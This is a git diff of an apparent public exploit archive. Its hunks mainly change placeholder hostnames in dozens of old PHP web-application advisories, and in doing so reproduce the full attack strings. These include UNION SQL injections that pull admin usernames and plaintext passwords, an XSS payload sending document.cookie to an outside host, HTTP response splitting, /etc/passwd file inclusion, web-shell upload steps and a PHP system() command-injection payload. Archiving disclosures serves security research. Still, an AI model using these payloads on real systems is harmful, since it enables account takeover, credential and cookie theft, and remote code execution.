www.xhh777hhh.som/forumpath/sendmessage.php?do=mailmember&u = (your id) and get a cookie on our address sniffer. 3.5.4 - Dump database The vulnerability is in the scripts directory upgrade_301.php 'install'. -Example: server/forumpath/install/upgrade_301.php?step=SomeWord +Example: server.com/forumpath/install/upgrade_301.php?step=SomeWord 3.5.4 - Introduction XSS scripting The vulnerability is in the url parameter scenario inlinemod.php. -Example: server/forumpath/inlinemod.php?do=clearthread&url=lala2% 0d% 0aContent-Length:% 2033% 0d% 0a% 0d% 0a <html> Hacked! </ Html>% 0d% 0a% 0d% 0a +Example: www.server.com/forumpath/inlinemod.php?do=clearthread&url=lala2% 0d% 0aContent-Length:% 2033% 0d% 0a% 0d% 0a <html> Hacked! </ Html>% 0d% 0a% 0d% 0a =============================================== diff --git a/platforms/php/webapps/11395.txt b/platforms/php/webapps/11395.txt index dbdf0c902..6aa1ca2bf 100755 --- a/platforms/php/webapps/11395.txt +++ b/platforms/php/webapps/11395.txt @@ -14,7 +14,7 @@ For example: www.xhh777hhh.som/forumpath/forumdisplay.php?GLOBALS [] = 1 & f = 2 Way to change the status can only admins, for example, moderators. Is an example code sployta: <body onLoad=img = new Image(); img.src = «http://antichat.ru/cgi-bin/s.jpg?»+document.cookie;> 3.0.9 and 3.5.4 - introduction XSS scripts in parameter posthash scenario newthread.php. Here primerchik: -www.server/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML =% 3Cp% 3E% 3C% 2Fp% 3E & s = & f = 3 & do = postthread & posthash = c8d3fe38b082b6d3381cbee17f1f1aca & poststarttime = '% 2Bimg = new Image (); img. src = «http://antichat.ru/cgi-bin/s.jpg?» + document.cookie;% 2B '& sbutton =% D1% EE% E7% E4% E0% F2% FC +% ED% EE% E2 % F3% FE +% F2% E5% EC% F3 & parseurl = 1 & disablesmilies = 1 & emailupdate = 3 & postpoll = yes & polloptions = 1234 & openclose = 1 & stickunstick = 1 & iconid = 0 +www.site.com/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML =% 3Cp% 3E% 3C% 2Fp% 3E & s = & f = 3 & do = postthread & posthash = c8d3fe38b082b6d3381cbee17f1f1aca & poststarttime = '% 2Bimg = new Image (); img. src = «http://antichat.ru/cgi-bin/s.jpg?» + document.cookie;% 2B '& sbutton =% D1% EE% E7% E4% E0% F2% FC +% ED% EE% E2 % F3% FE +% F2% E5% EC% F3 & parseurl = 1 & disablesmilies = 1 & emailupdate = 3 & postpoll = yes & polloptions = 1234 & openclose = 1 & stickunstick = 1 & iconid = 0 =============================================== diff --git a/platforms/php/webapps/11398.txt b/platforms/php/webapps/11398.txt index 3083a9e21..5bf7bb6d9 100755 --- a/platforms/php/webapps/11398.txt +++ b/platforms/php/webapps/11398.txt @@ -1,4 +1,4 @@ -|=-----------------------------------------------------=| + |=-----------------------------------------------------=| |=-------------=[ JIKO |No-exploit.Com| ]=-----------=| |=-----------------------------------------------------=| [~]-----------|00| diff --git a/platforms/php/webapps/1140.php b/platforms/php/webapps/1140.php index 5df099f40..5a871839b 100755 --- a/platforms/php/webapps/1140.php +++ b/platforms/php/webapps/1140.php @@ -101,7 +101,7 @@ $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} -$data="op=reg&nome=jimyhendrix®pass=jimihendrix&reregpass=jimihendrix&anag=jimihendrix&email=jimihendrix@email.com&homep=".urlencode('http://www.aserver')."&prof=artist&prov=whereimfrom&ava=clanbomber.png&url_avatar=&firma=".chr(13).urlencode('system($HTTP_GET_VARS[command]);'); +$data="op=reg&nome=jimyhendrix®pass=jimihendrix&reregpass=jimihendrix&anag=jimihendrix&email=jimihendrix@email.com&homep=".urlencode('http://www.asite.com')."&prof=artist&prov=whereimfrom&ava=clanbomber.png&url_avatar=&firma=".chr(13).urlencode('system($HTTP_GET_VARS[command]);'); if ($proxy=='') {$packet="POST ".$path."index.php HTTP/1.1\r\n";} diff --git a/platforms/php/webapps/11430.txt b/platforms/php/webapps/11430.txt index be256b4cf..1261c47dd 100755 --- a/platforms/php/webapps/11430.txt +++ b/platforms/php/webapps/11430.txt @@ -10,9 +10,9 @@ ===[ Exploit ]=== -www.server/products.php?id=null[Sql]&r=null +www.site.com/products.php?id=null[Sql]&r=null -www.server/products.php?id=null'+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex-- -&r=null +www.site.com/products.php?id=null'+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex-- -&r=null Exploit: @@ -20,5 +20,5 @@ Exploit: Path admin: -www.server/admin/index.php +www.site.com/admin/index.php #################################################################### diff --git a/platforms/php/webapps/11431.txt b/platforms/php/webapps/11431.txt index 8f09161ed..25d3ebf34 100755 --- a/platforms/php/webapps/11431.txt +++ b/platforms/php/webapps/11431.txt @@ -26,11 +26,11 @@ ####### Exploit ################################################################# # -# 1- http://server/path/upload.html +# 1- http://site.com/path/upload.html # # upload your shell # -# 2- http://server/path/upload/yourshell.php +# 2- http://site.com/path/upload/yourshell.php # # get your shell # diff --git a/platforms/php/webapps/11434.txt b/platforms/php/webapps/11434.txt index c665491a3..fab4849c4 100755 --- a/platforms/php/webapps/11434.txt +++ b/platforms/php/webapps/11434.txt @@ -26,11 +26,11 @@ # # 1 - Database Disclosure Vulnerability # -# http://server/path/stats.mdb +# http://site.com/path/stats.mdb # # 2 - Remote Admin Access Vulnerability # -# http://server/path/admin.asp +# http://site.com/path/admin.asp # # here you can edit tables and configuration # diff --git a/platforms/php/webapps/11440.txt b/platforms/php/webapps/11440.txt index 39658fac4..ed27249f5 100755 --- a/platforms/php/webapps/11440.txt +++ b/platforms/php/webapps/11440.txt @@ -33,7 +33,7 @@ # # 1 - SQL injection Vulnerability # -# Exploit: http://server/path/etemplate.php?id=[SQL injection] +# Exploit: http://site.com/path/etemplate.php?id=[SQL injection] # # Red-D3v1L << ABu-AlzOz >> ################################################################################# \ No newline at end of file diff --git a/platforms/php/webapps/11447.txt b/platforms/php/webapps/11447.txt index 20abea603..015602b9b 100755 --- a/platforms/php/webapps/11447.txt +++ b/platforms/php/webapps/11447.txt @@ -10,7 +10,7 @@ # Risk: Medium ################################################################# # Vulnerability: -# http://server/plugins/content/jw_allvideos/includes/download.php?file=./../.../file.php +# http://site.com/plugins/content/jw_allvideos/includes/download.php?file=./../.../file.php ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://securitylab.ir diff --git a/platforms/php/webapps/11450.txt b/platforms/php/webapps/11450.txt index cf1ca7325..7809a4bec 100755 --- a/platforms/php/webapps/11450.txt +++ b/platforms/php/webapps/11450.txt @@ -16,7 +16,7 @@ shell.php.bmp 2- Go to shell link : -Example : http://www.server/path/store/shell.php.gif +Example : http://www.site.com/path/store/shell.php.gif ========================================================== diff --git a/platforms/php/webapps/11455.txt b/platforms/php/webapps/11455.txt index 5d6ee5d28..ab0343a20 100755 --- a/platforms/php/webapps/11455.txt +++ b/platforms/php/webapps/11455.txt @@ -15,7 +15,7 @@ <body link="#00FF00" text="#008000" bgcolor="#000000"> -<form method="POST" action="http://www.server/kdpics/admin/index.php3?page=options&categorie="> +<form method="POST" action="http://www.site.com/kdpics/admin/index.php3?page=options&categorie="> <input type="hidden" name="type" value="add"> <table border="1" cellpadding="4" style="border-collapse: collapse" width="100%" bordercolor="#808080"> <tr> diff --git a/platforms/php/webapps/11456.txt b/platforms/php/webapps/11456.txt index 7b5c98fb6..57ce47555 100755 --- a/platforms/php/webapps/11456.txt +++ b/platforms/php/webapps/11456.txt @@ -1,4 +1,4 @@ -_______ _|__| | ____________ ____ ____ + _______ _|__| | ____________ ____ ____ _/ __ \ \/ / | | \___ / _ \ / \_/ __ \ \ ___/\ /| | |__/ ( <_> ) | \ ___/ \___ >\_/ |__|____/_____ \____/|___| /\___ > diff --git a/platforms/php/webapps/11466.txt b/platforms/php/webapps/11466.txt index c80447ea7..a0237febf 100755 --- a/platforms/php/webapps/11466.txt +++ b/platforms/php/webapps/11466.txt @@ -24,11 +24,11 @@ ####### Exploit ################################################################# # -# 1- http://server/path/microUpload.php +# 1- http://site.com/path/microUpload.php # # upload your shell # -# 2- http://server/path/yourshell.php +# 2- http://site.com/path/yourshell.php # # get your shell # diff --git a/platforms/php/webapps/11479.txt b/platforms/php/webapps/11479.txt index 9740aa6da..656910423 100755 --- a/platforms/php/webapps/11479.txt +++ b/platforms/php/webapps/11479.txt @@ -11,10 +11,10 @@ Joomla Component com_acstartseite Sql Injection Vulnerability ===[ Exploit ]=== -www.server/index.php?option=com_acstartseite&Itemid=null[SQL]&#9001;=de +www.site.com/index.php?option=com_acstartseite&Itemid=null[SQL]&#9001;=de -www.server/index.php?option=com_acstartseite&Itemid=null+and+1=2+union+select+1,2,concat(username,0x20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users&#9001;=de +www.site.com/index.php?option=com_acstartseite&Itemid=null+and+1=2+union+select+1,2,concat(username,0x20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users&#9001;=de #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11480.txt b/platforms/php/webapps/11480.txt index c5df0434f..b1c4b801d 100755 --- a/platforms/php/webapps/11480.txt +++ b/platforms/php/webapps/11480.txt @@ -11,9 +11,9 @@ Joomla Component com_acprojects Sql Injection Vulnerability ===[ Exploit ]=== -www.server/index.php?option=com_acprojects&page=7&Itemid=[SQL]&lang=de +www.site.com/index.php?option=com_acprojects&page=7&Itemid=[SQL]&lang=de -www.server/index.php?option=com_acprojects&page=7&Itemid=null+and+1=2+union+select+1,2,concat(username,0x20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users&lang=de +www.site.com/index.php?option=com_acprojects&page=7&Itemid=null+and+1=2+union+select+1,2,concat(username,0x20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users&lang=de #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11481.txt b/platforms/php/webapps/11481.txt index ba8062f0c..6a7fa0c08 100755 --- a/platforms/php/webapps/11481.txt +++ b/platforms/php/webapps/11481.txt @@ -12,12 +12,12 @@ intuitive (form.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/form.php?id=null[Sql] +www.site.com/form.php?id=null[Sql] -www.server/form.php?id=-null+union+select+null,version(),null,user(),5,database(),7,null,null,10,null,null,13,null,null,16,17 +www.site.com/form.php?id=-null+union+select+null,version(),null,user(),5,database(),7,null,null,10,null,null,13,null,null,16,17 T0 Bypass Forbidden -www.server/form.php?id=-null+UNION+ALL+SELECT+null,version(),null,user(),5,database(),7,null,null,10,null,null,13,null,null,16,17 +www.site.com/form.php?id=-null+UNION+ALL+SELECT+null,version(),null,user(),5,database(),7,null,null,10,null,null,13,null,null,16,17 #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11482.txt b/platforms/php/webapps/11482.txt index 13ab1b1f7..cc6519d0d 100755 --- a/platforms/php/webapps/11482.txt +++ b/platforms/php/webapps/11482.txt @@ -11,9 +11,9 @@ Nabernet (articles.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/articles.php?id=null[Sql] +www.site.com/articles.php?id=null[Sql] -www.server/articles.php?id=null'+and+1=2+union+select+null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,null,null,null,null,null,null-- - +www.site.com/articles.php?id=null'+and+1=2+union+select+null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,null,null,null,null,null,null-- - #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11483.txt b/platforms/php/webapps/11483.txt index af2643aa7..899cc9ac1 100755 --- a/platforms/php/webapps/11483.txt +++ b/platforms/php/webapps/11483.txt @@ -10,7 +10,7 @@ Joomla Component com_acteammember Sql Injection Vulnerability ===[ Exploit ]=== -www.server/index.php?option=com_acteammember&id=[SQL]&Itemid=121&lang=en +www.site.com/index.php?option=com_acteammember&id=[SQL]&Itemid=121&lang=en http://server/index.php?option=com_acteammember&id=-1+UNION+SELECT+1,2,3,4,5,concat(username,0x20,password),7,8,9,10,11,12,13,14,15+from+mos_users--&Itemid=121&lang=en diff --git a/platforms/php/webapps/11484.txt b/platforms/php/webapps/11484.txt index 684cdc8fd..9f9ba1258 100755 --- a/platforms/php/webapps/11484.txt +++ b/platforms/php/webapps/11484.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## ##uGround v1.0b SQL Injection ## ######################################################################## ######################################################################## diff --git a/platforms/php/webapps/11487.txt b/platforms/php/webapps/11487.txt index c495b16c9..ddc8b1ae4 100755 --- a/platforms/php/webapps/11487.txt +++ b/platforms/php/webapps/11487.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## ##Auktionshaus V.4 SQL Injection news.php ## ######################################################################## ######################################################################## diff --git a/platforms/php/webapps/11488.txt b/platforms/php/webapps/11488.txt index 5450f7d40..bf1197bc3 100755 --- a/platforms/php/webapps/11488.txt +++ b/platforms/php/webapps/11488.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## ##AuktionshausGelb V.3 SQL Injection news.php ## ######################################################################## ######################################################################## diff --git a/platforms/php/webapps/11489.txt b/platforms/php/webapps/11489.txt index 7d404bb6d..742b3610a 100755 --- a/platforms/php/webapps/11489.txt +++ b/platforms/php/webapps/11489.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## ##Erotik Auktionshaus SQL Injection news.php ## ######################################################################## ######################################################################## diff --git a/platforms/php/webapps/11490.txt b/platforms/php/webapps/11490.txt index e8a0ff039..2fd4b47b4 100755 --- a/platforms/php/webapps/11490.txt +++ b/platforms/php/webapps/11490.txt @@ -16,9 +16,9 @@ PunBBAnnuaire <=0.4 Blind SQL Injection Vulnerability /annuaire.php?action=site&id=1[ Blind SQL INJECTION ] -www.server/forum/annuaire.php?action=site&id=1 and 1=1 <-- true +www.site.com/forum/annuaire.php?action=site&id=1 and 1=1 <-- true -www.server/forum/annuaire.php?action=site&id=1 and 1=2 <-- false +www.site.com/forum/annuaire.php?action=site&id=1 and 1=2 <-- false diff --git a/platforms/php/webapps/11494.txt b/platforms/php/webapps/11494.txt index 8271bc8ad..e9b55a47b 100755 --- a/platforms/php/webapps/11494.txt +++ b/platforms/php/webapps/11494.txt @@ -13,7 +13,7 @@ Joomla Component com_otzivi Local File Inclusion ===[ Exploit ]=== -www.server/index.php?option=com_otzivi&controller=[LFI] -www.server/index.php?option=com_otzivi&controller=../../../../../../../../../../etc/passwd%00 +www.site.com/index.php?option=com_otzivi&controller=[LFI] +www.site.com/index.php?option=com_otzivi&controller=../../../../../../../../../../etc/passwd%00 #################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/11495.txt b/platforms/php/webapps/11495.txt index e897ad935..c8c11fe8c 100755 --- a/platforms/php/webapps/11495.txt +++ b/platforms/php/webapps/11495.txt @@ -12,7 +12,7 @@ CubeCart (index.php) Sql Injection Vulnerability ===[ Exploit ]=== -www.server/index.php?_a=viewProd&productId=22[Sql Sql Injection] +www.site.com/index.php?_a=viewProd&productId=22[Sql Sql Injection] ===[ Example ]=== diff --git a/platforms/php/webapps/11496.txt b/platforms/php/webapps/11496.txt index 5e1dad9c6..4440d2ddb 100755 --- a/platforms/php/webapps/11496.txt +++ b/platforms/php/webapps/11496.txt @@ -1,4 +1,4 @@ -__ _ __ _ + __ _ __ _ / _(_) ___ _ __ ___ __ _ / / __ _| |__ ___ \ \| |/ _ \| '_ ` _ \ / _` | / / / _` | '_ \/ __| _\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \ diff --git a/platforms/php/webapps/11509.txt b/platforms/php/webapps/11509.txt index 89089cfcd..ac6307c3d 100755 --- a/platforms/php/webapps/11509.txt +++ b/platforms/php/webapps/11509.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## ##Phpkit 1.6.1 SQL Injection member.php ## ######################################################################## ######################################################################## diff --git a/platforms/php/webapps/11521.txt b/platforms/php/webapps/11521.txt index c3171258b..f88952f7e 100755 --- a/platforms/php/webapps/11521.txt +++ b/platforms/php/webapps/11521.txt @@ -18,7 +18,7 @@ N00bor. |_|___|___| |_| |___|___|___|_| |_|_| |_ | | _|_| |___|_| |___|___|_| |___| |_| |___| -------------------------------------------------------------------------------- -+Vulnerability : www.server/news.php?id=[SQL] -+Exploitable : www.server/flashauktion/news.php?id=11111111+union+select+1, ++Vulnerability : www.Site.com/news.php?id=[SQL] ++Exploitable : www.site.com/flashauktion/news.php?id=11111111+union+select+1, 2,concat%28name,0x3a,password%29,4,5+from+users -------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11522.txt b/platforms/php/webapps/11522.txt index 7e98fa6f4..6f9b3fa3e 100755 --- a/platforms/php/webapps/11522.txt +++ b/platforms/php/webapps/11522.txt @@ -18,7 +18,7 @@ N00bor. |_|___|___| |_| |___|___|___|_| |_|_| |_ | | _|_| |___|_| |___|___|_| |___| |_| |___| -------------------------------------------------------------------------------- -+Vulnerability : www.server/news.php?id=[SQL] -+Exploitable : www.server/flashauktion2010/news.php?id=11111111+union+select ++Vulnerability : www.Site.com/news.php?id=[SQL] ++Exploitable : www.Site.com/flashauktion2010/news.php?id=11111111+union+select +1,2,concat%28name,0x3a,password%29,4,5+from+users# -------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/11530.txt b/platforms/php/webapps/11530.txt index a5d99cbae..3e071228a 100755 --- a/platforms/php/webapps/11530.txt +++ b/platforms/php/webapps/11530.txt @@ -24,9 +24,9 @@ # SQL Injection Vulnerability : -#-/ Link Admin: server/[ScriptarticleLoser]/admin/ +#-/ Link Admin: www.Target.com/[ScriptarticleLoser]/admin/ -#-/ 0r : server[Script-article-Loser]/admin/index.php?filename=adminlogin +#-/ 0r : www.Target.com[Script-article-Loser]/admin/index.php?filename=adminlogin #-/Username : admin' or 'a'='a diff --git a/platforms/php/webapps/11543.txt b/platforms/php/webapps/11543.txt index 57d316d91..084cef841 100755 --- a/platforms/php/webapps/11543.txt +++ b/platforms/php/webapps/11543.txt @@ -48,4 +48,4 @@ Script to delete the registered user through Cross Site request forgery After execution refresh teh page and u can see that user having id=20 get deleted automatically. -#If you have any questions, comments, or concerns, feel free to contact me. \ No newline at end of file +#If you have any questions, comments, or concerns, feel free to contact me. \ No newline at end of file diff --git a/platforms/php/webapps/11547.txt b/platforms/php/webapps/11547.txt index 3f4ebf8e8..c4a87d395 100755 --- a/platforms/php/webapps/11547.txt +++ b/platforms/php/webapps/11547.txt @@ -22,13 +22,13 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionblau/news.php?id= -+Exploitable : www.server/auktionblau/news.php?id=null+union+select+1,2,convert ++Vulnerability : www.site.com/auktionblau/news.php?id= ++Exploitable : www.site.com/auktionblau/news.php?id=null+union+select+1,2,convert (password using utf8),4,5+from+users# or -www.server/auktionblau/news.php?id=null+union+select+1,2,concat +www.site.com/auktionblau/news.php?id=null+union+select+1,2,concat (name,0x3a,password),4,5+from+users# diff --git a/platforms/php/webapps/11548.txt b/platforms/php/webapps/11548.txt index db4118542..0aab0a9fb 100755 --- a/platforms/php/webapps/11548.txt +++ b/platforms/php/webapps/11548.txt @@ -21,13 +21,13 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktion/news.php?id= -+Exploitable : www.server/auktion/news.php?id=null+union+select+1,2,convert ++Vulnerability : www.site.com/auktion/news.php?id= ++Exploitable : www.site.com/auktion/news.php?id=null+union+select+1,2,convert (password using utf8),4,5+from+users or -www.server/auktion/news.php?id=null+union+select+1,2,concat +www.site.com/auktion/news.php?id=null+union+select+1,2,concat (user,0x3a,password),4,5+from+users diff --git a/platforms/php/webapps/11551.txt b/platforms/php/webapps/11551.txt index 129d7b629..d0ac9c066 100755 --- a/platforms/php/webapps/11551.txt +++ b/platforms/php/webapps/11551.txt @@ -23,8 +23,8 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/moredetails.php?sblink_id= -+Exploitable : www.server/moredetails.php?sblink_id=11111111+ ++Vulnerability : www.site.com/moredetails.php?sblink_id= ++Exploitable : www.site.com/moredetails.php?sblink_id=11111111+ union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34,35,36,concat(username,0x3a,password),38,39,40+from+sblnk_admin-- ----------------------------------------------------------------------------------------- @@ -54,8 +54,8 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/searchresult.php?sbcat_id= -+Exploitable : www.server/searchresult.php?sbcat_id=-111111111+union+select+1, ++Vulnerability : www.site.com/searchresult.php?sbcat_id= ++Exploitable : www.site.com/searchresult.php?sbcat_id=-111111111+union+select+1, concat(username,0x3a,password),3,4+from+sblnk_admin-- diff --git a/platforms/php/webapps/11559.txt b/platforms/php/webapps/11559.txt index 4350442bb..03f0beb8a 100755 --- a/platforms/php/webapps/11559.txt +++ b/platforms/php/webapps/11559.txt @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= Article friendly CSRF Vulnerability diff --git a/platforms/php/webapps/11568.txt b/platforms/php/webapps/11568.txt index 0f66d4a68..2fec6dc26 100755 --- a/platforms/php/webapps/11568.txt +++ b/platforms/php/webapps/11568.txt @@ -23,11 +23,11 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionscript/view_items.php?id= -+Exploitable : www.server/auktionscript/view_items.php?id=null+union+select+1,2, ++Vulnerability : www.site.com/auktionscript/view_items.php?id= ++Exploitable : www.site.com/auktionscript/view_items.php?id=null+union+select+1,2, 3,4,5,6,7,8,9,10,concat(admin_name,0x3a,pwd),12,13,14,15,16,17,18+from+sbauctions_admin# -The Password save in Plaintext you must login in www.server/auktionscript/admin/ +The Password save in Plaintext you must login in www.site.com/auktionscript/admin/ ----------------------------------------------------------------------------------------- @@ -56,11 +56,11 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionscript/store_info.php?id= -+Exploitable : www.server/auktionscript/store_info.php?id=null+union+select+1,2,3 ++Vulnerability : www.site.com/auktionscript/store_info.php?id= ++Exploitable : www.site.com/auktionscript/store_info.php?id=null+union+select+1,2,3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(admin_name,0x3a,pwd),18+from+sbauctions_admin# -The Password save in Plaintext you must login in www.server/auktionscript/admin/ +The Password save in Plaintext you must login in www.site.com/auktionscript/admin/ ----------------------------------------------------------------------------------------- ----------------------------Information------------------------------------------------ @@ -88,11 +88,11 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionscript/view_feedback.php?id= -+Exploitable : www.server/auktionscriptview_feedback.php?id=null+union+select+1,2, ++Vulnerability : www.site.com/auktionscript/view_feedback.php?id= ++Exploitable : www.site.com/auktionscriptview_feedback.php?id=null+union+select+1,2, 3,4,5,6,7,8,9,10,concat(admin_name,0x3a,pwd),12,13,14,15,16,17,18+from+sbauctions_admin# -The Password save in Plaintext you must login in www.server/auktionscript/admin/ +The Password save in Plaintext you must login in www.site.com/auktionscript/admin/ ----------------------------------------------------------------------------------------- http://server/view_feedback.php?id=null+union+select+1,2,3,4,5,6,7,8,9,10,concat%28admin_name,0x3a,pwd%29,12,13,14,15,16,17,18+from+sbauctions_admin# diff --git a/platforms/php/webapps/11575.txt b/platforms/php/webapps/11575.txt index 0bc72efbd..ae3e253f8 100755 --- a/platforms/php/webapps/11575.txt +++ b/platforms/php/webapps/11575.txt @@ -21,10 +21,10 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionscript/gallery.php?cid= -+Exploitable : www.server/auktionscript/gallery.php?cid=111111111+union+select+1,concat(admin_name,0x39,pwd),3,4,5+from+sbclassified_admin-- ++Vulnerability : www.site.com/auktionscript/gallery.php?cid= ++Exploitable : www.site.com/auktionscript/gallery.php?cid=111111111+union+select+1,concat(admin_name,0x39,pwd),3,4,5+from+sbclassified_admin-- -The Password save in Plaintext you must login in www.server/auktionscript/admin/ +The Password save in Plaintext you must login in www.site.com/auktionscript/admin/ ----------------------------------------------------------------------------------------- ----------------------------Information------------------------------------------------ @@ -50,11 +50,11 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionscript/view_items.php?id= -+Exploitable : http://www.server/auktionscript/view_items.php?id=-null+union+select ++Vulnerability : www.site.com/auktionscript/view_items.php?id= ++Exploitable : http://www.site.com/auktionscript/view_items.php?id=-null+union+select +1,2,3,4,5,6,7,8,9,10,concat(admin_name,0x3a,pwd),12,13,14,15,16,17,18,19,20,21,22,23+ from+sbclassified_admin-- -The Password save in Plaintext you must login in www.server/auktionscript/admin/ +The Password save in Plaintext you must login in www.site.com/auktionscript/admin/ ----------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/11576.txt b/platforms/php/webapps/11576.txt index 4a915a108..3f48fd10e 100755 --- a/platforms/php/webapps/11576.txt +++ b/platforms/php/webapps/11576.txt @@ -21,10 +21,10 @@ N00bor,Damian. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionscript/showcats.php?sbcat_id= ++Vulnerability : www.site.com/auktionscript/showcats.php?sbcat_id= +Exploitable : http://server/showcats.php?sbcat_id=1+union+select+1, concat(username,0x3a,password),3,4+from+sblnk_admin -The Password save in Plaintext you must login in www.server/auktionscript/admin/ +The Password save in Plaintext you must login in www.site.com/auktionscript/admin/ ----------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/11582.txt b/platforms/php/webapps/11582.txt index 1f4688eae..bf4a15327 100755 --- a/platforms/php/webapps/11582.txt +++ b/platforms/php/webapps/11582.txt @@ -16,7 +16,7 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/auktionshaus/news.php?id= -+Exploitable : www.server/auktionshaus/news.php?id=null+union+select+1,2,concat ++Vulnerability : www.site.com/auktionshaus/news.php?id= ++Exploitable : www.site.com/auktionshaus/news.php?id=null+union+select+1,2,concat (name,0x3a,password),4,5+from+users# ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11588.txt b/platforms/php/webapps/11588.txt index 893d4b28d..3755520ea 100755 --- a/platforms/php/webapps/11588.txt +++ b/platforms/php/webapps/11588.txt @@ -6,7 +6,7 @@ ## Author: Crux ## Homepage: http://hack-tech.com ## Date: 2-27-2010 -## Software Link: http://www.phpmyserver/ +## Software Link: http://www.phpmysite.com/ ## Version: N/A ########################################################## diff --git a/platforms/php/webapps/11599.txt b/platforms/php/webapps/11599.txt index 3586db9aa..4234704f9 100755 --- a/platforms/php/webapps/11599.txt +++ b/platforms/php/webapps/11599.txt @@ -21,7 +21,7 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/uigaportal/index.php?view=photos&id= ++Vulnerability : http://www.site.com/uigaportal/index.php?view=photos&id= +Exploitable : http://server/uigaportal/index.php?view=photos&id=-9999+ Union+Select+1,2,group_concat(admin_name,0x3a,admin_password),4,5+from+admin-- ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11600.txt b/platforms/php/webapps/11600.txt index 90d1eee31..437123e6f 100755 --- a/platforms/php/webapps/11600.txt +++ b/platforms/php/webapps/11600.txt @@ -21,7 +21,7 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/Uigafanclub/index.php?view=photos&id= -+Exploitable : www.server/Uigafanclub/index.php?view=photos&id=-9999+ ++Vulnerability : www.site.com/Uigafanclub/index.php?view=photos&id= ++Exploitable : www.site.com/Uigafanclub/index.php?view=photos&id=-9999+ Union+Select+1,2,concat(admin_name,0x3a,admin_password),4,5+from+admin-- ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11616.txt b/platforms/php/webapps/11616.txt index 0970653c9..79631af3a 100755 --- a/platforms/php/webapps/11616.txt +++ b/platforms/php/webapps/11616.txt @@ -24,7 +24,7 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://server/forum/contact.php?id= -+Exploitable : http://server/forum/contact.php?id=-11111111'+union+select+1,2 ++Vulnerability : http://site.com/forum/contact.php?id= ++Exploitable : http://site.com/forum/contact.php?id=-11111111'+union+select+1,2 ,concat(user_name,0x3a,user_pw),4,5+from+forum_userdata+where+user_id=1--+ ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11619.txt b/platforms/php/webapps/11619.txt index d5b63af28..e3d7972bd 100755 --- a/platforms/php/webapps/11619.txt +++ b/platforms/php/webapps/11619.txt @@ -22,8 +22,8 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/portal/index.php?view=read&id= -+Exploitable : http://www.server/portal/index.php?view=read&id=111111111+union+ ++Vulnerability : http://www.site.com/portal/index.php?view=read&id= ++Exploitable : http://www.site.com/portal/index.php?view=read&id=111111111+union+ select+1,concat(user_name,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+tbl_user +where+user_id=1-- ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11623.txt b/platforms/php/webapps/11623.txt index e9d105e61..398dbe5a6 100755 --- a/platforms/php/webapps/11623.txt +++ b/platforms/php/webapps/11623.txt @@ -23,11 +23,11 @@ N00bor,Damian,novaca!ne. ---------------------------------------------------------------------------------------- 